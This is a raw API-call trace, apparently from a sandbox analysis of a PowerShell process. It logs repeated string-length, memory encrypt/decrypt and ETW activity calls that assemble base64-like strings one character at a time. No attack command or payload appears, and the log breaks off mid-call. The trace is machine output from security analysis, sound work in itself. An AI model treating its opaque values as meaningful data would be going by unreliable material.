(param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f") returned 0x28 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f") returned 0x28 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f") returned 0x28 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f") returned 0x30 [0134.414] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.414] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R8t₞섰생贿ㅱꉴ") returned 0x30 [0134.414] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x9daa\x2a33\xa1db\x325d\x1b88\x67d8\xf924\x47f2") returned 0x30 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x9daa\x2a33\xa1db\x325d\x1b88\x67d8\xf924\x47f2") returned 0x30 [0134.414] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R8tF섰생贿ㅱꉴ") returned 0x30 [0134.415] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x58bb\x43dd\x33b6\x2d02\x6d35\x9b2b\xa6c0\x5d3a") returned 0x30 [0134.415] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x58bb\x43dd\x33b6\x2d02\x6d35\x9b2b\xa6c0\x5d3a") returned 0x30 [0134.415] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R8tFg생贿ㅱꉴ") returned 0x30 [0134.415] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x8d7f\x90a1\xcd2d\xa44c\x7646\x21e6\x1d64\x285e") returned 0x30 [0134.415] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x8d7f\x90a1\xcd2d\xa44c\x7646\x21e6\x1d64\x285e") returned 0x30 [0134.415] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R8tFg=贿ㅱꉴ") returned 0x30 [0134.415] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0134.415] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.415] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.415] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.416] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.416] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.416] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.416] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.416] SysStringLen (param_1="") returned 0x8 [0134.416] SysStringLen (param_1="Y") returned 0x8 [0134.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.416] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.416] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.416] SysStringLen (param_1="YW") returned 0x8 [0134.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.416] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.417] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.417] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="YWM") returned 0x8 [0134.417] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.417] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.417] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="YWM1") returned 0x8 [0134.417] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.417] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.417] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="YWM1O") returned 0x8 [0134.417] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.417] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.417] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.417] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.417] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.418] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.418] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.418] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.418] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.418] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.418] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.418] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.418] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.418] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.418] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.418] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.418] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.418] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.418] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.418] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.418] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.418] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.419] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.419] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.420] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.420] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.420] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.420] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.420] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.420] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.420] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.421] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.421] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.422] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.422] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.422] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.422] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.422] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.422] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.422] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.422] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.422] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.423] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.423] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.423] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.423] SysStringLen 